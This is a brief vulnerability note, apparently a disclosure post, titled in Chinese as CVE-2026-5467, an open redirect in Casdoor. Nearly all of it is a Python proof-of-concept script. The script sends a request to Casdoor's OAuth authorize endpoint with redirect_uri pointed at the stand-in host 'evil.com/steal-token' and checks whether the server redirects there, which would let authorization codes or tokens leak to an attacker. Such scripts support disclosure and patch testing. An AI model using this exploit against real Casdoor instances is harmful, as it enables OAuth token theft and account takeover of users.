CVE-2026-5467 Casdoor开放重定向漏洞

import requests # Target Casdoor instance (example) target = "http://localhost:8000" # The vulnerable endpoint endpoint = "/login/oauth/authorize" # Malicious redirect URI (attacker controlled site) evil_url = "https://evil.com/steal-token" # Payload parameters params = { "client_id": "client_id", "response_type": "code", "redirect_uri": evil_url, "scope": "openid", "state": "123456" } # Send the request response = requests.get(target + endpoint, params=params, allow_redirects=False) # Check if the server redirects to the malicious URL if response.status_code == 302: location = response.headers.get('Location') if evil_url in location: print(f"[+] Vulnerability confirmed! Redirecting to: {location}") else: print(f"[-] Redirecting to: {location}") else: print(f"[-] Status code: {response.status_code}")